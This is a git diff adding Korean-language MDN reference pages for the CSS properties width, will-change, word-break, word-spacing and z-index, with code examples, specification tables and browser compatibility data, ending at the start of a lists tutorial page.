+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("&lt;length&gt;")}}</a></dt>
+ <dd>너비의 절댓값.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a> 너비의 백분율. 컨테이닝 블록이 요소 너비에 영향을 받는 경우의 결과 레이아웃은 정해지지 않습니다.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>요소의 너비를 브라우저가 계산해 지정합니다.</dd>
+ <dt><a id="max-content" name="max-content"><code>max-content</code></a></dt>
+ <dd>본질적인 선호 너비.</dd>
+ <dt><a id="min-content" name="min-content"><code>min-content</code></a></dt>
+ <dd>본질적인 최소 너비.</dd>
+ <dt id="fit-content"><a id="fit-content" name="fit-content"><code>fit-content({{cssxref("&lt;length-percentage&gt;")}}</code></a></dt>
+ <dd><code>min(max-content, max(min-content, &lt;length-percentage&gt;))</code>의 결과.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_너비">기본 너비</h3>
+
+<pre class="brush:css">p.goldie {
+ background: gold;
+}</pre>
+
+<pre class="brush:html">&lt;p class="goldie"&gt;모질라 커뮤니티는 많은 수의 대단한 소프트웨어를 제작합니다.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('기본_너비', '500px', '64px')}}</p>
+
+<h3 id="px과_em"><code>px</code>과 <code>em</code></h3>
+
+<pre class="brush: css">.px_length {
+ width: 200px;
+ background-color: red;
+ color: white;
+ border: 1px solid black;
+}
+
+.em_length {
+ width: 20em;
+ background-color: white;
+ color: red;
+ border: 1px solid black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="px_length"&gt;픽셀 너비&lt;/div&gt;
+&lt;div class="em_length"&gt;em 너비&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('px과_em', '500px', '64px')}}</p>
+
+<h3 id="백분율">백분율</h3>
+
+<pre class="brush: css">.percent {
+ width: 20%;
+ background-color: silver;
+ border: 1px solid red;
+}</pre>
+
+<pre class="brush: html">&lt;div class="percent"&gt;백분율 너비&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('백분율', '500px', '64px')}}</p>
+
+<h3 id="max-content_2"><code>max-content</code></h3>
+
+<pre class="brush:css;">p.maxgreen {
+ background: lightgreen;
+ width: intrinsic; /* Safari/WebKit uses a non-standard name */
+ width: -moz-max-content; /* Firefox/Gecko */
+ width: -webkit-max-content; /* Chrome */
+  width: max-content;
+}</pre>
+
+<pre class="brush:html">&lt;p class="maxgreen"&gt;Mozilla 커뮤니티는 많은 수의 대단한 소프트웨어를 제작합니다.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('max-content_2', '500px', '64px')}}</p>
+
+<h3 id="min-content_2"><code>min-content</code></h3>
+
+<pre class="brush:css">p.minblue {
+ background: lightblue;
+ width: -moz-min-content; /* Firefox */
+ width: -webkit-min-content; /* Chrome */
+ width: min-content;
+}</pre>
+
+<pre class="brush:html">&lt;p class="minblue"&gt;Mozilla 커뮤니티는 많은 수의 대단한 소프트웨어를 제작합니다.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('min-content_2', '500px', '155px')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>페이지를 확대하거나 글꼴 크기를 늘렸을 때 <code>width</code> 속성을 지정한 요소가 잘리거나 다른 내용을 가리지 않도록 확인하세요.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Sizing', '#width-height-keywords', 'width')}}</td>
+ <td>{{Spec2('CSS4 Sizing')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+ <td>{{Spec2('CSS3 Sizing')}}</td>
+ <td>Added the <code>max-content</code>, <code>min-content</code>, <code>fit-content</code> keywords.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Precises on which element it applies to.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#width', 'width')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.width")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a>, {{cssxref("height")}}, {{cssxref("box-sizing")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}</li>
+</ul>
diff --git a/files/ko/web/css/will-change/index.html b/files/ko/web/css/will-change/index.html
new file mode 100644
index 0000000000..c641f89ad1
--- /dev/null
+++ b/files/ko/web/css/will-change/index.html
@@ -0,0 +1,171 @@
+---
+title: will-change
+slug: Web/CSS/will-change
+translation_of: Web/CSS/will-change
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="요약">요약</h2>
+
+<p><span class="seoSummary"><strong><code>will-change</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 속성은 요소에 예상되는 변화의 종류에 관한 힌트를 브라우저에 제공케 한다.  그래서 실제 요소가 변화되기 전에 미리 브라우저는 적절하게 최적화할 수 있다. 이러한 종류의 최적화는 잠재적으로 성능 비용이 큰 작업을 그것이 실제로 요구되기 전에 미리 실행함으로써 페이지의 반응성을 증가시킬 수 있다.</span></p>
+
+<p>이 속성을 적당하게 사용하는 것이 꽤 어려울 수 있다:</p>
+
+<ul>
+ <li>
+ <p id="Don't_apply_will-change_to_too_many_elements"><em>너무 많은 요소에 will-change 를 적용하지 말라.</em>  브라우저는 모든 것을 최적화하기 위해 가능한 모든 것을 이미 시도하고 있다. will-change 와 묶인 강한 최적화의 몇은 많은 기기 자원을 소모할 것이다. 또한 이 같은 과도한 사용은 페이지 속도를 늦추거나 엄청난 자원을 소비할 수 있다.</p>
+ </li>
+ <li>
+ <p><em>아껴 사용하라.</em> 브라우저가 만드는 최적화의 기본 행동은 가능한 바로 최적화를 제거하고 기본 상태로 돌리는 것이다. 그러나 will-change를 스타일시트에 직접 추가하는 것은 목표 요소가 곧 변경되어 (will-change 를 정의하지 않았을 때보다) 더 오랜 시간동안 최적화를 유지하리란 것을 암시한다. 스크립트 코드를 사용하여 변화발생의 전후로 will-change 의 활성/비활성을 바꿔주는 것이 좋다.</p>
+ </li>
+ <li>
+ <p><em>서둘러 최적화하기 위해 will-change 를 적용하지 말라. </em>만약 페이지가 잘 돌아간다면 단지 조금 더 빨리하기 위해 will-change 속성을 추가하지 말라. <code>will-change</code> 는 당장의 성능 문제를 해결하기 위한 마지막 수단으로 사용되기 위해 계획된 것이다. 성능문제를 예상하며 사용되어선 안된다. will-change 의 초과사용은 브라우저가 가능한 변화에 대한 준비를 시도하기 때문에 과도한 메모리 사용과 더 복잡한 렌더링을 초래할 것이다. 더 열악한 성능을 이끌 것이다.</p>
+ </li>
+ <li>
+ <p id="Give_it_sufficient_time_to_work"><em>작업할 충분한 시간을 줘라.</em> 이 속성은 작성자로 하여금 사용자 에이전트가 변경가능한 속성을 미리 알 수 있게 하도록고안되었다. 그러면 브라우저는 실제 속성변화가 발생하기 전에 속성에 요구되는 어떠한 최적화던지 미리 적용하는 것을 선택할 수 있다. 그래서 브라우저가 실제 최적화를 할 시간을 주는 것은 중요하다. 변화가 발생하기 조금 전에라도 그 변화를 예상할 방법을 찾아 <code>will-change</code> 를 설정하라.</p>
+ </li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+will-change: auto;
+will-change: scroll-position;
+will-change: contents;
+will-change: transform; /* Example of &lt;custom-ident&gt; */
+will-change: opacity; /* Example of &lt;custom-ident&gt; */
+will-change: left, top; /* Example of two &lt;animateable-feature&gt; */
+
+/* 전역 값 */
+will-change: inherit;
+will-change: initial;
+will-change: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>이 키워드는 특정 의도 없음을 나타낸다; 사용자 에이전트는 보통 실행하는 어떤 발견한 방법이던 최적화이던  적용해야 한다.</dd>
+</dl>
+
+<p><code>&lt;animateable-feature&gt;</code> 는 다음의 값중 하나일 수 있다:</p>
+
+<dl>
+ <dt><code>scroll-position</code></dt>
+ <dd>머지않아 요소 스크롤 위치의 변경 혹은 변이에 대한 기대를 가르킨다.</dd>
+ <dt><code>contents</code></dt>
+ <dd>머지않아 요소 내용에 대한 변경 혹은 변이에 대한 기대를 가르킨다.</dd>
+ <dt>{{cssxref("custom-ident", "&lt;custom-ident&gt;")}}</dt>
+ <dd>머지않아 해당 요소의 주어진 이름의 속성에 대한 변경 혹은 변이에 대한 기대를 가르킨다. 만약 주어진 속성이 축약형이라면 그 안에 들어간 나열된 속성 모두에 대한 기대이다. 다음의 값들은 불가능하다: <code>unset</code>, <code>initial</code>, <code>inherit</code>, <code>will-change</code>, <code>auto</code>, <code>scroll-position</code>, <code>contents</code>. 명세는 특정값의 행동을 정의하지 않으나 but it is common for <code>transform</code> to be a compositing layer hint. <a href="https://github.com/operasoftware/devopera/pull/330">Chrome currently takes two actions</a>, given particular CSS property idents: establish a new compositing layer or a new {{Glossary("stacking context")}}.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: css">.sidebar {
+ will-change: transform;
+}
+</pre>
+
+<p>상단 예시는 will-change 속성을 스타일시트에 직접 추가한다: 이것은 브라우저가 항상 메모리내에서 필요보다 더 오래동안 최적화를 유지하도록 하는데 바로 이렇게 스타일시트에 직접 삽입하는 것을 피해야 할 이유로서 살펴봤던 것이다. 아래는 스크립트를 통해 will-change 를 적용하는 법의 다른 예시를 보여주고 십중팔구 대부분의 경우에 이렇게 시행해야 한다.</p>
+
+<pre class="brush: js">var el = document.getElementById('element');
+
+// 요소가 hover 상태일 때 will-change 설정
+el.addEventListener('mouseenter', hintBrowser);
+el.addEventListener('animationEnd', removeHint);
+
+function hintBrowser() {
+ // 애니메이션 키프레임 단락 내에서
+ // 변경될 예정인 최적화 가능한 속성들
+ this.style.willChange = 'transform, opacity';
+}
+
+function removeHint() {
+ this.style.willChange = 'auto';
+}</pre>
+
+<p>그러나 페이지가 크고 복잡한 앨범 혹은 슬라이드 다발로 이뤄진 프레젠테이션등 키를 눌러서 페이지를 넘기는 어플리케이션등을 위해선 스타일시트에 will-change 를 직접 포함시키는 것이 적절할 것이다. 이것은 브라우저가 미리 변이를 준비하게 해 키가 눌리자마자 페이지간의 팔팔한 애니메이션을 가능케 할 것이다.</p>
+
+<pre class="brush: css">.slide {
+ will-change: transform;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Will Change', '#will-change', 'will-change')}}</td>
+ <td>{{Spec2('CSS Will Change')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(36)}}</td>
+ <td>{{CompatGeckoDesktop(36)}} [1]</td>
+ <td><a href="https://dev.modern.ie/platform/status/csswillchange/?filter=f3e0000bf&amp;search=will-change">{{CompatNo}}</a></td>
+ <td>{{CompatOpera(24)}}</td>
+ <td>{{CompatSafari(9.1)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>37</td>
+ <td>{{CompatGeckoMobile(36)}} [1]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>9.3</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] From Firefox 31 to 35, <code>will-change</code> was available, but only if the user flipped the <code>layout.css.will-change.enabled</code> flag to <code>true</code>. The preference have been removed in Firefox 43.</p>
+
+<p>Firefox allows to set <code>will-change: will-change</code> up to version 42.0, which is invalid by the spec. This was fixed in Firefox 43.0. See {{bug("1195884")}}.</p>
diff --git a/files/ko/web/css/word-break/index.html b/files/ko/web/css/word-break/index.html
new file mode 100644
index 0000000000..16a7eeecc4
--- /dev/null
+++ b/files/ko/web/css/word-break/index.html
@@ -0,0 +1,141 @@
+---
+title: word-break
+slug: Web/CSS/word-break
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/word-break
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>word-break</code></strong> 속성은 텍스트가 자신의 콘텐츠 박스 밖으로 오버플로 할 때 줄을 바꿀 지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-break.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+word-break: normal;
+word-break: break-all;
+word-break: keep-all;
+word-break: break-word; /* 사용 안함 */
+
+/* 전역 값 */
+word-break: inherit;
+word-break: initial;
+word-break: unset;
+</pre>
+
+<p><code>word-break</code> 속성은 아래의 값 중 하나를 선택해서 지정할 수 있습니다.</p>
+
+<h3 class="brush:css" id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>기본 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>break-all</code></dt>
+ <dd>오버플로를 방지하기 위해서는 어떠한 두 문자 사이에서도 줄 바꿈이 발생할 수 있습니다. (한중일 텍스트 제외)</dd>
+ <dt><code>keep-all</code></dt>
+ <dd>한중일(CJK) 텍스트에서는 줄을 바꿀 때 단어를 끊지 않습니다. 비 CJK 텍스트에서는 <code>normal</code>과 동일합니다.</dd>
+ <dt><code>break-word</code> {{Deprecated_inline}}</dt>
+ <dd>실제 {{cssxref("overflow-wrap")}} 속성에 상관하지 않고, <code>word-break: normal</code>과 <code>overflow-wrap: anywhere</code>를 설정한 것과 같은 효과를 냅니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고:</strong> <code>word-break: break-word</code>와 <code>overflow-wrap: break-word</code>({{cssxref("overflow-wrap")}} 참고)와 달리, <code>word-break: break-all</code>은 텍스트의 오버플로가 시작하는 정확한 지점에서 줄을 바꿉니다. 단어 전체를 다음 줄로 이동하면 중간을 끊지 않아도 될 상황에서도 마찬가지입니다.</p>
+</div>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;1. &lt;code&gt;word-break: normal&lt;/code&gt;&lt;/p&gt;
+&lt;p class="normal narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;2. &lt;code&gt;word-break: break-all&lt;/code&gt;&lt;/p&gt;
+&lt;p class="breakAll narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;3. &lt;code&gt;word-break: keep-all&lt;/code&gt;&lt;/p&gt;
+&lt;p class="keepAll narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;
+
+&lt;p&gt;4. &lt;code&gt;word-break: break-word&lt;/code&gt;&lt;/p&gt;
+&lt;p class="breakWord narrow"&gt;This is a long and
+ Honorificabilitudinitatibus califragilisticexpialidocious Taumatawhakatangihangakoauauotamateaturipukakapikimaungahoronukupokaiwhenuakitanatahu
+ グレートブリテンおよび北アイルランド連合王国という言葉は本当に長い言葉&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.narrow {
+ padding: 5px;
+ border: 1px solid;
+ display: table;
+ max-width: 100%;
+}
+
+.normal {
+ word-break: normal;
+}
+
+.breakAll {
+ word-break: break-all;
+}
+
+.keepAll {
+ word-break: keep-all;
+}
+
+.breakWord {
+ word-break: break-word;
+}
+</pre>
+
+<p>{{EmbedLiveSample('예제', '100%', 600)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Text', '#word-break-property', 'word-break')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.word-break")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("overflow-wrap")}}</li>
+</ul>
diff --git a/files/ko/web/css/word-spacing/index.html b/files/ko/web/css/word-spacing/index.html
new file mode 100644
index 0000000000..f81c96a0b9
--- /dev/null
+++ b/files/ko/web/css/word-spacing/index.html
@@ -0,0 +1,127 @@
+---
+title: word-spacing
+slug: Web/CSS/word-spacing
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/word-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>word-spacing</code></strong> 속성은 단어와 단어 사이, 태그와 태그 사이의 거리를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/word-spacing.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+word-spacing: normal;
+
+/* &lt;length&gt; 값 */
+word-spacing: 3px;
+word-spacing: 0.3em;
+
+/* &lt;percentage&gt; 값 */
+word-spacing: 50%;
+word-spacing: 200%;
+
+/* 전역 값 */
+word-spacing: inherit;
+word-spacing: initial;
+word-spacing: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>현재 글씨체와 브라우저가 결정한 일반적인 단어 간격을 사용합니다.</dd>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>지정한 길이를 기본 단어 간격에 더합니다.</dd>
+ <dt>{{cssxref("percentage")}}</dt>
+ <dd>영향 받는 문자 최대 폭의 백분율만큼을 기본 단어 간격에 더합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="mozdiv1"&gt;다양한 단어...&lt;/div&gt;
+&lt;div id="mozdiv2"&gt;...더 많은 단어&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#mozdiv1 {
+ word-spacing: 15px;
+}
+
+#mozdiv2 {
+ word-spacing: 5em;
+} </pre>
+
+<p>{{ EmbedLiveSample('예제') }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>큰 절댓값의 <code>word-spacing</code>을 적용한 문장은 거의 읽기 힘들어집니다. 큰 양의 값을 적용하면 단어의 사이가 너무나도 멀어져서 문장처럼 보이지 않습니다. 반면 지나친 음의 값을 적용하면 단어끼리 서로 겹쳐서 어느 단어의 시작과 끝을 알아차리지 못하게 됩니다.</p>
+
+<p>글씨체마다 문자 너비가 다르므로, 가독성을 확보하는 수준의 <code>word-spacing</code> 역시 상황에 맞춰 결정해야 합니다. 모든 글씨체에서 가독성을 유지하는 단 하나의 값은 존재하지 않습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Text', '#propdef-word-spacing', 'word-spacing')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td>Replaces the previous values with a <code>&lt;spacing-limit&gt;</code> value that defines the same thing, plus the <code>&lt;percentage&gt;</code> value. Allows up to three values describing the optimum, minimum, and maximum value.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html#propdef-word-spacing', 'word-spacing')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#word-spacing', 'word-spacing')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.word-spacing")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("letter-spacing")}}</li>
+</ul>
diff --git a/files/ko/web/css/z-index/index.html b/files/ko/web/css/z-index/index.html
new file mode 100644
index 0000000000..0c3cb36b9e
--- /dev/null
+++ b/files/ko/web/css/z-index/index.html
@@ -0,0 +1,138 @@
+---
+title: z-index
+slug: Web/CSS/z-index
+tags:
+ - CSS
+ - CSS Positioning
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/z-index
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>z-index</code></strong> 속성은 <a href="/ko/docs/Web/CSS/position">위치 지정 요소</a>와, 그 자손 또는 하위 플렉스 아이템의 Z축 순서를 지정합니다. 더 큰 <code>z-index</code> 값을 가진 요소가 작은 값의 요소 위를 덮습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/z-index.html")}}</div>
+
+
+
+<p>위치 지정 요소(<code>position</code>이 <code>static</code> 외의 다른 값인 요소)의 박스에 대해, <code>z-index</code> 속성은 다음 항목을 지정합니다.</p>
+
+<ol>
+ <li>현재 <a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>에서 자신의 위치.</li>
+ <li>자신만의 쌓임 맥락 생성 여부.</li>
+</ol>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+z-index: auto;
+
+/* &lt;integer&gt; 값 */
+z-index: 0;
+z-index: 3;
+z-index: 289;
+z-index: -1; /* 음수 값으로 우선순위를 낮출 수 있음 */
+
+/* 전역 값 */
+z-index: inherit;
+z-index: initial;
+z-index: unset;</pre>
+
+<p>z-index 속성은 <code>{{anch("auto")}}</code> 키워드 또는 <code>{{anch("&lt;integer&gt;")}}</code> 값을 사용해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>박스가 새로운 쌓임 맥락을 생성하지 않습니다. 현재 쌓임 맥락에서의 위치는 부모 요소와 동일합니다.</dd>
+ <dt><a id="&lt;integer>" name="&lt;integer>">{{cssxref("&lt;integer&gt;")}}</a></dt>
+ <dd>현재 쌓임 맥락에서의 위치로 이 값을 사용합니다. 또한 자신만의 쌓임 맥락을 생성하고, 해당 맥락에서 자신의 위치를 <code>0</code>으로 설정합니다. 이로 인해 자손의 <code>z-index</code>를 자기 외의 바깥 요소와 비교하지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="dashed-box"&gt;Dashed box
+ &lt;span class="gold-box"&gt;Gold box&lt;/span&gt;
+ &lt;span class="green-box"&gt;Green box&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3,11,19]">.dashed-box {
+ position: relative;
+ z-index: 1;
+ border: dashed;
+ height: 8em;
+ margin-bottom: 1em;
+ margin-top: 2em;
+}
+.gold-box {
+ position: absolute;
+ z-index: 3; /* put .gold-box above .green-box and .dashed-box */
+ background: gold;
+ width: 80%;
+ left: 60px;
+ top: 3em;
+}
+.green-box {
+ position: absolute;
+ z-index: 2; /* put .green-box above .dashed-box */
+ background: lightgreen;
+ width: 20%;
+ left: 65%;
+ top: -25px;
+ height: 7em;
+ opacity: 0.9;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '550', '200', '') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'visibility') }}</td>
+ <td>{{ Spec2('CSS3 Transitions') }}</td>
+ <td>Defines <code>visibility</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'visuren.html#z-index', 'z-index') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.z-index")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>CSS {{ Cssxref("position") }} 속성</li>
+ <li><a href="/ko/docs/Web/CSS/Understanding_z-index" title="ko/CSS/Understanding_z-index">CSS z-index 이해하기</a></li>
+</ul>
diff --git a/files/ko/web/css/시작하기/리스트/index.html b/files/ko/web/css/시작하기/리스트/index.html
new file mode 100644
index 0000000000..527eaaa768
--- /dev/null
+++ b/files/ko/web/css/시작하기/리스트/index.html
@@ -0,0 +1,244 @@
+---
+title: 리스트
+slug: Web/CSS/시작하기/리스트
+translation_of: Learn/CSS/Styling_text/Styling_lists
+---
+<p>{{ CSSTutorialTOC() }}</p>
+<div class="warning">
+ <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/18)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
